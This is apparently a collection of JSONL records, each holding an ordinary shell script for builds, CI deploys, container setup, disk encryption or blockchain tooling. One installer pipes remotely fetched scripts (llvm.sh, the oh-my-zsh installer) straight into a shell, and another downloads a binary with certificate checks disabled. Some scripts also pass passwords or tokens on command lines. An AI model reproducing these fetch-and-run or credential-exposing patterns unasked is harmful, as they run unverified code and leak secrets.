${REQUESTED_ENV_NAME}\nelse\n # Install required conda packages into existing environment\n echo \"Installing conda packages in environment: ${REQUESTED_ENV_NAME}\"\n conda config --set channel_priority strict\n echo \"conda install -y $CONDA_CHANNELS $CONDA_PACKAGES\"\n conda create -y $CONDA_CHANNELS $CONDA_PACKAGES\nfi\n\n# Install sidecar\npython -m pip install sidecar || pip install sidecar\n\n# Install dev packages if needed\nif [ $INSTALL_MODE == \"DEV\" ]; then\n\tpython -m pip install flake8 || pip install flake8\n\tpython -m pip install selenium || pip install selenium\n\tpython -m pip install pyvirtualdisplay || pip install pyvirtualdisplay\nfi\n\n# Install extensions\njupyter labextension install @jupyter-widgets/jupyterlab-manager --no-build\njupyter labextension install @jupyter-widgets/jupyterlab-sidecar --no-build\njupyter labextension install jupyterlab-tutorial-extension --no-build\njupyter labextension install @jupyterlab/hub-extension --no-build\n\n# Install jupyter-vcdat extension\nnpm install\njupyter lab build\njupyter labextension install .\n\n# Success message\necho Jupyter VCDAT has been successfully installed!\necho \"To run: conda activate ${REQUESTED_ENV_NAME} && jupyter lab\""} {"text": "python2 centrality.py Wikipedia/5/model.txt\npython2 centrality.py gigaword/skip-gram.txt\npython2 centrality.py Wikipedia/5/model.txt --arbitrary\npython2 centrality.py gigaword/skip-gram.txt --arbitrary"} {"text": "#!/usr/bin/zsh\n\n# build lazyarchive for Windows/AMD64\nexport GOOS=windows\nexport GOARCH=amd64\ngo build -o la.exe"} {"text": "<filename>scripts/mongo-entrypoint-initdb/entrypoint.sh\n#!/usr/bin/env bash\necho 'Application user and database'\n\nmongo ${APP_DB} \\\n -u ${DB_ADMIN_USERNAME} \\\n -p ${DB_ADMIN_PASS} \\\n --authenticationDatabase admin \\\n --eval \"db.createUser({user: '${DB_APP_USERNAME}', pwd: '${<PASSWORD>}', roles:[{role:'dbOwner', db: '${APP_DB}'}]});\""} {"text": "<gh_stars>1-10\n#!/usr/bin/env bash\n# 2021-07-08 WATERMARK, DO NOT REMOVE - This script was generated from the Kurtosis Bash script template\n\nset -euo pipefail # Bash \"strict mode\"\nscript_dirpath=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" && pwd)\"\nroot_dirpath=\"$(dirname \"${script_dirpath}\")\"\n\n\n# ==================================================================================================\n# Constants\n# ==================================================================================================\nSUPPORTED_LANGS_FILENAME=\"supported-languages.txt\"\nLANG_SCRIPTS_DIRNAME=\"scripts\"\nLANG_BUILDSCRIPT_FILENAME=\"build.sh\"\n\n\n\n# ==================================================================================================\n# Main Logic\n# ==================================================================================================\nsupported_langs_filepath=\"${root_dirpath}/${SUPPORTED_LANGS_FILENAME}\"\nfor lang in $(cat \"${supported_langs_filepath}\"); do\n lang_buildscript_filepath=\"${root_dirpath}/${lang}/${LANG_SCRIPTS_DIRNAME}/${LANG_BUILDSCRIPT_FILENAME}\"\n if ! \"${lang_buildscript_filepath}\"; then\n echo \"Error: Build of lang '${lang}' failed\" >&2\n exit 1\n fi\ndone"} {"text": "#!/usr/bin/env bash\n\necho \"Begin\" > out/aula_compile_output\n\nmkdir out\n# Compilar todos os ficheiros na pasta.\nGLOBIGNORE=\"*_.c\"\nfor f in *.c; do\n echo -n \"Compiling the file\" $f\"...\" | tee -a out/compile\n clang $f -g -lm -o ${f%.*}.out | tee -a out/compile\n echo \" done!\" | tee -a out/compile\ndone\n\ncat out/compile\n\necho \"Executing the compiled programs\"\n# ./01.out | tee out/01.output\n# ./02.out | tee out/02.output\n# ./03.out | tee out/03.output\n# ./04.out | tee out/04.output\n# ./05.out | tee out/05.output\n# ./06.out | tee out/06.output\n# ./07.out | tee out/07.output\n# ./08.out | tee out/08.output\n# ./09.out | tee out/09.output"} {"text": "<gh_stars>0\n#!/bin/bash\n# A Bash script, by Daniar\necho ================================================\necho ERASE LOGS\necho ================================================\n\necho How many nodes on this experiment?\nread maxNodes\n\nprojURI=hadoopcluster.cs331-uc.emulab.net\nhost=node-0.$projURI\n\nssh $host 'bash -s' < eraseLog.sh $maxNodes"} {"text": "<filename>mkgit.sh\n#!/bin/bash\n\n# USAGE: mkgit PATH REPO_NAME REM_DIR\nif [ \"$1\" == \"\" ] || [ \"$2\" == \"\" ] || [ \"$3\" == \"\" ]\nthen\n echo \"Usage: mkgit [PATH] [REPO_NAME] [REM_DIR]\"\n exit\nfi\n\ncd \"$2\"\n\nif [ $? -ne 0 ]\nthen\n mkdir \"$2\"\n\n if [ $? -ne 0 ]\n then\n echo \"Unable to create directory $2\"\n exit\n fi\n\n cd \"$2\"\nfi\n\ngit init\necho \"INITIAL COMMIT\" > README.md\ngit add README.md\ngit commit -m \"Initial commit\"\ncd ..\ngit clone --bare $2\nscp -r \"$2\".git \"<EMAIL>:$3/\"\ncd \"$2\"\ngit remote add origin \"<EMAIL>:$3/$2.git\"\ngit fetch\n\nif [ $? -ne 0 ]\nthen\n echo \"Failed to push $2 to THUS git\"\n exit\nfi\n\ngit branch -u origin/master master\n\nregister -r \"$1/$2\"\ncd ..\nrm -rf \"$2\".git"} {"text": "#!/bin/sh\n\nprojectVersion=$(node -p \"require('./package.json').version\")\n\nsonarParams=\"-Dsonar.host.url=https://sonarcloud.io \\\n -Dsonar.projectVersion=$projectVersion \\\n -Dsonar.login=$SONAR_AUTH_TOKEN\"\n\nif [ \"$CIRCLE_BRANCH\" != \"master\" ]; then\n # We need to fix the reference to master, due to how CircleCI checkout code:\n # https://discuss.circleci.com/t/git-checkout-of-a-branch-destroys-local-reference-to-master/23781\n # https://community.sonarsource.com/t/code-is-empty-on-pull-request-reviews/822/11?u=sasjo\n git fetch --no-tags origin master\n git branch -D master\n git rev-parse origin/master\nfi\n\nif [ -n \"$CIRCLE_PULL_REQUEST\" ]; then\n pullRequestId=$(echo \"$CIRCLE_PULL_REQUEST\" | sed s/\\\\//\\\\n/g | tail -n 1)\n sonarParams=\"$sonarParams \\\n -Dsonar.pullrequest.base=master \\\n -Dsonar.pullrequest.branch=$CIRCLE_BRANCH \\\n -Dsonar.pullrequest.key=$pullRequestId \\\n -Dsonar.pullrequest.provider=github \\\n -Dsonar.pullrequest.github.repository=$SONAR_ORGANIZATION/$CIRCLE_PROJECT_REPONAME\"\nelif [ \"$CIRCLE_BRANCH\" != \"master\" ]; then\n sonarParams=\"$sonarParams \\\n -Dsonar.branch.name=$CIRCLE_BRANCH\"\nfi\n\n# shellcheck disable=SC2086\nnode_modules/.bin/sonar-scanner $sonarParams"} {"text": "#!/bin/sh -eux\n\nmodprobe br_netfilter\n\ncat <<EOF | tee /etc/sysctl.d/k8s.conf\nnet.bridge.bridge-nf-call-ip6tables = 1\nnet.bridge.bridge-nf-call-iptables = 1\nnet.ipv4.ip_forward = 1\nvm.swappiness = 0\nvm.overcommit_memory = 1\nvm.panic_on_oom = 0\nEOF\n\nsysctl -p /etc/sysctl.d/k8s.conf"} {"text": "#!/bin/sh\n# Auth\necho \"$INPUT_SECRETS\" > /secrets.json\ngcloud auth activate-service-account --key-file=/secrets.json\nrm /secrets.json\n\n# Sync files to bucket\necho \"Syncing bucket $BUCKET ...\"\ngsutil -m rsync -r -c -d -x \"$INPUT_EXCLUDE\" /github/workspace gs://$INPUT_BUCKET/\necho \"Done.\""} {"text": "<gh_stars>1-10\n#!/bin/bash\n\nLISTEN_SCRIPT=~/listener.sh\n\ndate\necho \"INFO: Finalizing calibration process.\"\n\nSTART_PID=$(ps -ef | grep rtl_test | grep -v grep | awk '{print $2}')\n\n# if we find a pid, stop the calibration logging process\nif [ ! -z $START_PID ]; then\n\techo \"INFO: Stopping process: $START_PID ...\"\n\tkill -INT $START_PID\nelse\n\t# if process didnt run for some reason, try to use the old ppm_calibrate.log file\n\techo \"ERR: Calibration process not running, attempting to use stale data.\"\nfi\n\necho \"INFO: Resetting rtl-sdr\"\n\n# http://askubuntu.com/questions/645/how-do-you-reset-a-usb-device-from-the-command-line\nsudo sh -c \"echo 0 > /sys/bus/usb/devices/1-1.2/authorized\"\nsudo sh -c \"echo 1 > /sys/bus/usb/devices/1-1.2/authorized\"\n\nPPM=$(grep \"cumulative\" /tmp/ppm_calibrate.log | tail -n 1 | awk '{print $10}')\n\n\n# don't update script if we have no PPM value\nif [ ! -z $PPM ]; then\n\techo \"INFO: updating listener with PPM: $PPM\"\n\techo \"#!/bin/bash\" > $LISTEN_SCRIPT\n\techo \"rtl_ais -p $PPM -n -h 10.8.0.1\" >> $LISTEN_SCRIPT\n\tchmod +x $LISTEN_SCRIPT\nelse\n\techo \"ERR: no PPM value found, calibration fail!\"\nfi\n\necho \"INFO: starting listener\"\n\nsudo supervisorctl start rtlais"} {"text": "#!/bin/sh\n\nSITE=$1\nIMAGE=$2\n\nrm -rf packages/$SITE/out packages/$SITE/.next\nyarn static-$SITE\nrm -rf ci/docker/out\ncp -r packages/$SITE/out ci/docker/out\ndocker build -t $IMAGE ci/docker --pull\nrm -rf ci/docker/out\ndocker push $IMAGE"} {"text": "<reponame>CIRALabs/fountain<gh_stars>0\n#!/bin/sh\n\ncurl --cacert db/cert/ownerca_secp384r1.crt -X POST -H \"Accept: */*\" -H \"Content-Type: application/json\" --data-binary @spec/files/raw_unsigned_vr-00-12-34-56-78-9A.json https://fountain-test.example.com/.well-known/est/requestvoucher"} {"text": "<filename>m1/cron/goaccess_stats.sh\n#!/bin/bash\nzcat /var/log/apache2/access_traefik.log*.gz | goaccess /var/log/apache2/access_traefik.log /var/log/apache2/access_traefik.log.1 -o /var/www/html/goaccess/index.html --no-progress -"} {"text": "#!/bin/sh\n\nexe=\"$1\"\ntest=\"$2\"\n\necho \"$test\"\n\ncase \"$test\" in\n *-type-error.alms)\n if ! ./\"$exe\" \"$test\" 2>&1 |\n grep '^\\(Type\\|name\\) error ' > /dev/null; then\n echo\n echo \"TEST FAILED (expected type error):\"\n head -1 \"$test\"\n echo\n fi >&2\n ;;\n *-blame-error.alms)\n if ! ./\"$exe\" \"$test\" 2>&1 |\n grep ' Blame (' > /dev/null; then\n echo\n echo \"TEST FAILED (expected blame error):\"\n head -1 \"$test\"\n echo\n fi >&2\n ;;\n *)\n if ! ./\"$exe\" \"$test\" > /dev/null; then\n echo\n echo \"TEST FAILED:\"\n head -1 \"$test\"\n echo\n fi >&2\n ;;\nesac"} {"text": "<gh_stars>0\nparallel --jobs 6 < ./results/exp_disk_sea/run-4/sea_mem_4n_6t_6d_1000f_617m_10i/jobs/jobs_n0.txt"} {"text": "#!/bin/bash\n\nset -exv\n\n# prefix var with _ so we don't clober the var used during the Make build\n# it probably doesn't matter but we can change it later.\n_OPERATOR_NAME=\"route-monitor-operator\"\n\nBRANCH_CHANNEL=\"$1\"\nQUAY_IMAGE=\"$2\"\n\nGIT_HASH=$(git rev-parse --short=7 HEAD)\nGIT_COMMIT_COUNT=$(git rev-list $(git rev-list --max-parents=0 HEAD)..HEAD --count)\n\n# clone bundle repo\nSAAS_OPERATOR_DIR=\"saas-route-monitor-operator-bundle\"\nBUNDLE_DIR=\"$SAAS_OPERATOR_DIR/route-monitor-operator/\"\n\nrm -rf \"$SAAS_OPERATOR_DIR\"\n\nSAAS_BUNDLE_URI=${SAAS_BUNDLE_URI:-https://app:${<EMAIL>_SRE_BOT_PUSH_TOKEN}@<EMAIL>.com/service/saas-route-monitor-operator-bundle.git}\ngit clone \\\n --branch \"$BRANCH_CHANNEL\" \\\n \"$SAAS_BUNDLE_URI\" \\\n \"$SAAS_OPERATOR_DIR\"\n\n# remove any versions more recent than deployed hash\nREMOVED_VERSIONS=\"\"\nif [[ \"$BRANCH_CHANNEL\" == \"production\" ]]; then\n DEPLOYED_HASH=$(\n curl -s \"https://gitlab.cee.redhat.com/service/app-interface/raw/master/data/services/osd-operators/cicd/saas/saas-${_OPERATOR_NAME}.yaml\" | \\\n docker run --rm -i quay.io/app-sre/yq:3.4.1 yq r - \"resourceTemplates[*].targets(namespace.\\$ref==/services/osd-operators/namespaces/hivep01ue1/cluster-scope.yml).ref\"\n )\n\n # Ensure that our query for the current deployed hash worked\n # Validate that our DEPLOYED_HASH var isn't empty.\n # Although we have `set -e` defined the docker container isn't returning\n # an error and allowing the script to continue\n echo \"Current deployed production HASH: $DEPLOYED_HASH\"\n\n if [[ ! \"${DEPLOYED_HASH}\" =~ [0-9a-f]{40} ]]; then\n echo \"Error discovering current production deployed HASH\"\n exit 1\n fi\n\n delete=false\n # Sort based on commit number\n for version in $(ls $BUNDLE_DIR | sort -t . -k 3 -g); do\n # skip if not directory\n [ -d \"$BUNDLE_DIR/$version\" ] || continue\n\n if [[ \"$delete\" == false ]]; then\n short_hash=$(echo \"$version\" | cut -d- -f2)\n\n if [[ \"$DEPLOYED_HASH\" == \"${short_hash}\"* ]]; then\n delete=true\n fi\n else\n rm -rf \"${BUNDLE_DIR:?BUNDLE_DIR var not set}/$version\"\n REMOVED_VERSIONS=\"$version $REMOVED_VERSIONS\"\n fi\n done\nfi\n\n# generate bundle\nPREV_VERSION=$(ls \"$BUNDLE_DIR\" | sort -t . -k 3 -g | tail -n 1)\n\n# build the registry image\nIMAGE_DIGEST=$(skopeo inspect docker://$QUAY_IMAGE:$GIT_HASH | jq -r .Digest)\nif [[ -z \"$IMAGE_DIGEST\" ]]; then\n echo \"Couldn't discover IMAGE_DIGEST for docker://${QUAY_IMAGE}:${GIT_HASH}!\"\n exit 1\nfi\nREPO_DIGEST=${QUAY_IMAGE}@${IMAGE_DIGEST}\n\n# Build an image locally that has all tools we need\n#\n# TODO: This section is done as in the pipeline stuff is running on the Jenkins slave\n# that doesn't have `operator-sdk >=1` and `kustomize`\n# so we build a container with those tools and run all operations inside\n#\n# what this section does in general is `make packagemanifests`\ndocker rm route-monitor-operator-pipeline || true\ndocker build -f hack/pipeline.dockerfile -t pipelinebuilder:latest .\ndocker run \\\n-e \"CHANNELS=$BRANCH_CHANNEL\" \\\n-e \"IMG=$REPO_DIGEST\" \\\n-e \"PREV_VERSION=$PREV_VERSION\" \\\n-e \"BUNDLE_DIR=$BUNDLE_DIR\" \\\n--name route-monitor-operator-pipeline \\\npipelinebuilder:latest\ndocker cp \"route-monitor-operator-pipeline:/pipeline/route-monitor-operator/$BUNDLE_DIR\" packagemanifests\ndocker rm route-monitor-operator-pipeline\nrsync -a packagemanifests/* $BUNDLE_DIR/\nrm -rf packagemanifests\n\nBUNDLE_DIR=$BUNDLE_DIR BUNDLE_IMG=\"${REGISTRY_IMAGE}:${BRANCH_CHANNEL}-latest\" PREV_VERSION=\"$PREV_VERSION\" make packagemanifests-build\n\npushd $SAAS_OPERATOR_DIR\n\ngit add .\n\nMESSAGE=\"add version $GIT_COMMIT_COUNT-$GIT_HASH\n\nreplaces $PREV_VERSION\nremoved versions: $REMOVED_VERSIONS\"\n\ngit commit -m \"$MESSAGE\"\npopd\n\nNEW_VERSION=$(ls \"$BUNDLE_DIR\" | sort -t . -k 3 -g | tail -n 1)\n\nif [ \"$NEW_VERSION\" == \"$PREV_VERSION\" ]; then\n # stopping script as that version was already built, so no need to rebuild it\n exit 0\nfi\n\nif [[ \"$DRY_RUN\" == \"y\" ]]; then\n exit 0\nfi\n\n\npushd $SAAS_OPERATOR_DIR\n git push origin \"$BRANCH_CHANNEL\"\npopd\n\n# push image\nskopeo copy --dest-creds \"${QUAY_USER}:${QUAY_TOKEN}\" \\\n \"docker-daemon:${REGISTRY_IMAGE}:${BRANCH_CHANNEL}-latest\" \\\n \"docker://${REGISTRY_IMAGE}:${BRANCH_CHANNEL}-latest\"\n\nskopeo copy --dest-creds \"${QUAY_USER}:${QUAY_TOKEN}\" \\\n \"docker-daemon:${REGISTRY_IMAGE}:${BRANCH_CHANNEL}-latest\" \\\n \"docker://${REGISTRY_IMAGE}:${BRANCH_CHANNEL}-${GIT_HASH}\""} {"text": "<reponame>Serux/docker-galaxy-BioInfWorkflow\n#!/bin/bash\n# Deletes container and removes the image\nsudo ./deletecontainer.sh\nsudo docker image rm serux/docker-galaxy-bioinfworkflow"} {"text": "# Install needed apps\n\n## First determine Linux OS\nif grep -q ID=ubuntu \"/etc/os-release\"; then\n ########## Install\n apt install exa\n bash -c \"$(wget -O - https://apt.llvm.org/llvm.sh)\"\n ##########\n\n ########## Plug.vim\n sh -c 'curl -fLo \"${XDG_DATA_HOME:-$HOME/.local/share}\"/nvim/site/autoload/plug.vim --create-dirs \\\n https://raw.githubusercontent.com/junegunn/vim-plug/master/plug.vim'\n ##########\n curl -fLo ~/.vim/autoload/plug.vim --create-dirs https://raw.githubusercontent.com/junegunn/vim-plug/master/plug.vim\n\n apt install nodejs\n\n ########## Install zsh\n sh -c \"$(curl -fsSL https://raw.github.com/ohmyzsh/ohmyzsh/master/tools/install.sh)\"\nfi\nif grep -q ID=arch \"/etc/os-release\"; then\n sudo pacman -S exa --needed --noconfirm\n sudo pacman -S llvm --needed --noconfirm\n ########## Plug.vim\n sh -c 'curl -fLo \"${XDG_DATA_HOME:-$HOME/.local/share}\"/nvim/site/autoload/plug.vim --create-dirs \\\n https://raw.githubusercontent.com/junegunn/vim-plug/master/plug.vim'\n ##########\n curl -fLo ~/.vim/autoload/plug.vim --create-dirs https://raw.githubusercontent.com/junegunn/vim-plug/master/plug.vim\n\n\n ########## Install zsh\n sh -c \"$(curl -fsSL https://raw.github.com/ohmyzsh/ohmyzsh/master/tools/install.sh)\"\nfi\n\n########## Git Submodule(s)\necho \"Initializing submodules\"\ngit submodule update --init --recursive\n##########"} {"text": "#!/bin/bash\n\nset -x\n\nif [ \"$TRAVIS_OS_NAME\" = \"linux\" ]; then\n NOSETESTS=${VIRTUAL_ENV}/bin/nosetests\nelse\n NOSETESTS=/usr/local/bin/nosetests\nfi\n\nsudo ${NOSETESTS} --with-coverage test/test_partner.py\nsudo chown travis .coverage\nnosetests --with-coverage test/test_server.py\nnosetests --with-coverage test/test_client.py\nnosetests --with-coverage test/test_util.py"} {"text": "<gh_stars>0\n#!/bin/bash\nset -euxo pipefail\n\n_dir=/tmp/pomerium-dev-docker\nmkdir -p \"$_dir\"\n\n# build linux binary\nenv GOOS=linux \\\n GOARCH=amd64 \\\n CGO_ENABLED=0 \\\n GO111MODULE=on \\\n go build \\\n -ldflags \"-s -w\" \\\n -o \"$_dir/pomerium\" \\\n ./cmd/pomerium\n\n# build docker image\n(\n\n cd $_dir\n cat <<EOF >config.yaml\n\nEOF\n cat <<EOF >Dockerfile\nFROM gcr.io/distroless/base:debug\nWORKDIR /pomerium\nCOPY pomerium /bin/pomerium\nCOPY config.yaml /pomerium/config.yaml\nENTRYPOINT [ \"/bin/pomerium\" ]\nCMD [\"-config\",\"/pomerium/config.yaml\"]\nEOF\n docker build --tag=pomerium/pomerium:dev .\n kind load docker-image pomerium/pomerium:dev\n)"} {"text": "<gh_stars>0\n#!/bin/bash\ncolors=($(xrdb -query | sed -n 's/.*color\\([0-9]\\)/\\1/p' | sort -nu | cut -f2))\n\necho -e \"\\e[1;37m \n Black Red Green Yellow Blue Magenta Cyan White \n ──────────────────────────────────────────────────────────────────────\\e[0m\"\n for i in {0..7}; do echo -en \"\\e[$((30+$i))m ${colors[i]} \\e[0m\"; done\n echo\n for i in {8..15}; do echo -en \"\\e[1;$((22+$i))m ${colors[i]} \\e[0m\"; done\n echo -e \"\\n\""} {"text": "<reponame>gbarkway/hypnospace-sitemap\n#!/bin/bash\n\nalias docker-compose-dev=\"docker-compose -f docker-compose.yml -f docker-compose.dev.yml\""} {"text": "#!/bin/bash\n\necho @@@ Compile ros webots_ros package\nsource /opt/ros/$ROS_DISTRO/setup.bash\n# BASEDIR might differ from WEBOTS_HOME if we are not using Webots compiled from this repository directory (e.g. in CI).\nBASEDIR=$(dirname $(realpath $0))/..\n[ -d $BASEDIR/webots_catkin_ws ] && rm -r $BASEDIR/webots_catkin_ws\nmkdir -p $BASEDIR/webots_catkin_ws/src\ncd $BASEDIR/webots_catkin_ws/src\ncatkin_init_workspace 2>&1 >> /dev/null\ncp -r $BASEDIR/resources/webots_ros webots_ros\ncp -r $BASEDIR/projects/robots/universal_robots/resources/ros_package/ur_e_webots ur_e_webots\ncd $BASEDIR/webots_catkin_ws\necho @@@ Installing dependencies\nsudo rosdep init\nrosdep update\nrosdep install --from-paths src --ignore-src --rosdistro $ROS_DISTRO\necho @@@ Compiling package\ncatkin_make 2>&1 >> ros_compilation.log\nexport LD_LIBRARY_PATH=$TMP_LD_LIBRARY_PATH\nif grep -q 'Error' ros_compilation.log; then\n echo @@@ Error: failed to compile ros webots_ros\n grep 'Error' ros_compilation.log\n exit -1\nfi\n\nsource $BASEDIR/webots_catkin_ws/devel/setup.bash\n\n# run the complete test\nexport ROSCONSOLE_FORMAT='${severity}: ${message} Line: ${line}'\nexport ROSCONSOLE_CONFIG_FILE=$BASEDIR/tests/rosconsole.config\ncd $BASEDIR/tests\necho @@@ Run ros complete test\nroslaunch webots_ros complete_test.launch auto_close:=true no_gui:=true 2> stderr.log\nif grep 'ERROR' stderr.log | grep -q -v 'ERROR: Cannot initialize the sound engine'; then\n echo @@@ Error: some tests of the ros complete test have failed\n cat stderr.log\n exit -1\nfi\n\n# checks that all the service messages specific to webots_ros are available\ncd $BASEDIR/webots_catkin_ws\nsource devel/setup.bash\nrossrv list >> available_services.log\necho @@@ Checking that all webots_ros services are available\n# get all the service files\nFILES=src/webots_ros/srv/*.srv\nif [ ${#FILES[@]} -gt 1 ]; then\n echo @@@ Error: no service file found\n rm -rf $BASEDIR/webots_catkin_ws\n exit -1\nfi\n# check that each associated service is found\nmissing_service_file=false\nfor f in $FILES\ndo\n SERVICE_NAME=$(echo $f | cut -d '/' -f 4)\n SERVICE_NAME=$(echo $SERVICE_NAME | cut -d '.' -f 1)\n if ! grep -q webots_ros/$SERVICE_NAME available_services.log; then\n echo @@@ Error: service webots_ros/$SERVICE_NAME not found\n fi\ndone\nif $missing_service_file ; then\n rm -rf $BASEDIR/webots_catkin_ws\n exit -1\nelse\n echo \"OK: all service files found\"\nfi"} {"text": "<gh_stars>0\n#!/bin/bash\n\necho -n \"password: \"\nstty -echo #不將輸入的值顯示出來\nread password\nstty echo #重新將輸入值顯示在螢幕上\n\necho #顯示以下指令的結果\n\nif [ \"$password\" = \"<PASSWORD>\" ]; then\n echo \"Welcome to My House\"\nelse\n echo \"bye!\"\nfi"} {"text": "<gh_stars>1-10\n#!/usr/bin/env bash\n\nset -xe\n\n# Install dockerize\nwget --no-check-certificate -O dockerize.tar.gz https://github.com/jwilder/dockerize/releases/download/v0.6.1/dockerize-linux-amd64-v0.6.1.tar.gz\ntar -zxvf dockerize.tar.gz\nchmod +x dockerize\nmv dockerize /usr/local/bin/\nrm -rf dockerize.tar.gz\n\n# Install cntlm\napt-get install -y cntlm\ncp ${HOME}/cntlm.conf.tmpl /etc/cntlm.conf.tmpl\nchmod 777 /etc/cntlm.conf.tmpl\nchmod 777 /etc\nrm -rf /etc/cntlm.conf\n\n# Cntlm entrypoint\nmv $HOME/cntlm-run.sh /usr/local/bin/cntlm-run.sh\nchmod 755 /usr/local/bin/cntlm-run.sh"} {"text": "#!/bin/bash\n\n# Change a forward slash to another character\n# - master -> master\n# - feature/next -> feature-next\n# - v1.0 -> v1.0\nDOCKER_BRANCH_TAG=$(echo $CI_BRANCH | sed -e 's/\\//-/g')\necho \"DOCKER_BRANCH_TAG=$DOCKER_BRANCH_TAG\"\n\nDOCKER_REPO=cncjs/cncjs\necho \"DOCKER_REPO=$DOCKER_REPO\"\n\necho $DOCKER_PASS | docker login -u $DOCKER_USER --password-stdin\ndocker build -f Dockerfile -t $DOCKER_REPO:$DOCKER_BRANCH_TAG .\n\ndocker images\ndocker push $DOCKER_REPO:$DOCKER_BRANCH_TAG"} {"text": "<reponame>theodric/pastebin<filename>encrypt.sh\n#!/bin/bash\n## theodric 2016-06-02\n## veracrypt volume creation script\n \n[[ $@ ]] || { \nprintf \"\\nCreates a Veracrypt volume formatted as NTFS. Requires Veracrypt 1.17 or higher.\\n\"\nprintf \"\\nUsage: $0 <archive file or device> <'password'> <other optional arguments>\\n\";\nprintf \"\\nExample 1: encrypting an entire partition, where the client's disk is /dev/sdb and the target partition is /dev/sdb1 \\n\"\nprintf \"$0 /dev/sdb1 'a5jq4rrw\\$\\zLQT3W8OfLl' \\n\";\nprintf \"\\nExample 2: creating an encrypted file within an existing filesystem, with a size of 500GB (size=bytes) \\n\"\nprintf \"$0 /mnt/clientdisk/offload.vc 'a5jq4rrw\\$\\zLQT3W8OfLl' --size=500000000000\\n\";\nprintf \"\\nPlease note that the password MUST be enclosed in single quotes 'like this' \\nand consequently the password cannot actually contain single quotes \\n(escaping them doesn't work for some reason)\\n\\n\";\n exit 1; }\n\nprintf \"\\nI'm about to run the following command:\\n\"\nprintf \"veracrypt --verbose --create $1 --volume-type=normal --encryption=AES --hash=SHA-512 --filesystem=NTFS --quick --force --random-source=/dev/urandom --password=$2 --non-interactive $3\\n\\n\"\nread -r -p \"Errors WILL result in unrecoverable data loss. Are you sure this is correct? [y/N] \" response\nif [[ $response =~ ^([yY][eE][sS]|[yY])$ ]]\n\tthen\n\tveracrypt --verbose --create $1 --volume-type=normal --encryption=AES --hash=SHA-512 --filesystem=NTFS --quick --force --random-source=/dev/urandom --password=$2 --non-interactive $3 2> /dev/null\n\nelse\n\tprintf \"\\nBailing out. Filesystem untouched.\\n\"\nfi"} {"text": "<filename>rundev.sh<gh_stars>1-10\n#!/bin/bash\n\n# Hacky, sorry. I threw this together real fast. This is expecting that you'll have copied a\n# serviceaccount token to ./token. It downloads certs from the csats-pizza namespace\n\nmkdir -p ./certs\nkubectl get --namespace csats-pizza secret wildcard-ssl -o json | jq -r '.data[\"ssl.crt\"]' | base64 --decode > certs/ssl.crt\nkubectl get --namespace csats-pizza secret wildcard-ssl -o json | jq -r '.data[\"ssl.key\"]' | base64 --decode > certs/ssl.key\n\nmkdir -p $(pwd)/conf\nrm -rf conf/*\ncp default.conf conf/nginx.conf\n\ndocker run \\\n -e KUBERNETES_SERVICE_HOST=kube-master-west.csats.pizza \\\n -e KUBERNETES_SERVICE_PORT=443 \\\n -v $(pwd)/token:/var/run/secrets/kubernetes.io/serviceaccount/token \\\n -v $(pwd)/certs:/certs \\\n -v $(pwd)/conf:/etc/nginx \\\n -v $CSATS_KEYS_REPO/kubernetes/cluster-certs/kubernetes-west/ca.pem:/var/run/secrets/kubernetes.io/serviceaccount/ca.crt \\\n --name csats-balancer-dev \\\n -e NAMESPACE=\"csats-pizza\" \\\n --rm \\\n -it \\\n gcr.io/surveyadmin-001/csats-balancer"} {"text": "<gh_stars>100-1000\n#!/bin/sh\n\n# Disclaimer:\n#\n# The following use of shell script is for demonstration and understanding\n# only, it should *NOT* be used at scale or for any sort of serious\n# deployment, and is solely used for learning how the node and blockchain\n# works, and how to interact with everything.\n#\n# Scenario:\n# Configure 1 stake pool having as owner the provided account address (secret key)\n#\n# Tutorials can be found here: https://github.com/input-output-hk/shelley-testnet/wiki\n\n. $(dirname $0)/env\n\nSCRIPTPATH=\"$( cd \"$(dirname \"$0\")\" ; pwd -P )\"\n\nif [ \"$1\" = \"--help\" ] || [ $# -lt 1 ]; then\n echo \"\"\n echo \"usage: $0 <ACCOUNT_SK> <POOL_ID> [<RETIRE_IN_EPOCH>]\"\n echo \" <ACCOUNT_SK> The Secret key of the Source address\"\n echo \" <POOL_ID> Stake Pool ID\"\n echo \" <RETIRE_IN_EPOCH> Number of epochs from execution after you would like to retire your pool (this is to avoid calculating/formatting while execution)\"\n echo \"\"\n exit 1\nfi\n\nACCOUNT_SK=$1\nPOOL_ID=$2\n[ ! -z \"$3\" ] && RETIREMENT_TIME=\"--retirement-time $(( $3 * $SLOT_DURATION * $SLOTS_PER_EPOCH ))\"\n\n[ -f ${ACCOUNT_SK} ] && ACCOUNT_SK=$(cat ${ACCOUNT_SK})\n\nACCOUNT_PK=$(echo ${ACCOUNT_SK} | $CLI key to-public)\nACCOUNT_ADDR=$($CLI address account ${ADDRTYPE} ${ACCOUNT_PK})\n\necho \"================Create Stake Pool=================\"\necho \"REST_URL: ${JORMUNGANDR_RESTAPI_URL}\"\necho \"ACCOUNT_SK: ${ACCOUNT_SK}\"\necho \"BLOCK0_HASH: ${BLOCK0_HASH}\"\necho \"FEE_CONSTANT: ${FEE_CONSTANT}\"\necho \"FEE_COEFFICIENT: ${FEE_COEFFICIENT}\"\necho \"FEE_CERTIFICATE: ${FEE_CERTIFICATE}\"\necho \"==================================================\"\n\necho \" ##3. Create the Stake Pool Retirement certificate using private key and pool ID with retirement time\"\n$CLI certificate new stake-pool-retirement --pool-id ${POOL_ID} ${RETIREMENT_TIME} stake_pool_retirement.cert\necho \" ##4. Send the signed Stake Pool certificate to the blockchain\"\n\nSTAGING_FILE=\"tx$$.staging\"\n\n#CLI transaction\nif [ -f \"${STAGING_FILE}\" ]; then\n echo \"error: staging already exists. restart\"\n exit 2\nfi\n\nset -e\n\nACCOUNT_PK=$(echo ${ACCOUNT_SK} | $CLI key to-public)\nACCOUNT_ADDR=$($CLI address account ${ADDRTYPE} ${ACCOUNT_PK})\n\n# TODO we should do this in one call to increase the atomicity, but otherwise\nACCOUNT_COUNTER=$( $CLI rest v0 account get \"${ACCOUNT_ADDR}\" | grep '^counter:' | sed -e 's/counter: //' )\n\n# the account is going to pay for the fee ... so calculate how much\nACCOUNT_AMOUNT=$((${FEE_CONSTANT} + ${FEE_COEFFICIENT} + ${FEE_CERTIFICATE}))\n\n# Create the transaction\n# FROM: ACCOUNT for FEES\necho \" ##4.1 Create the offline transaction file\"\n$CLI transaction new --staging ${STAGING_FILE}\n\necho \" ##4.2 Add the Account to the transaction\"\n$CLI transaction add-account \"${ACCOUNT_ADDR}\" \"${ACCOUNT_AMOUNT}\" --staging \"${STAGING_FILE}\"\n\necho \" ##4.3 Add the certificate to the 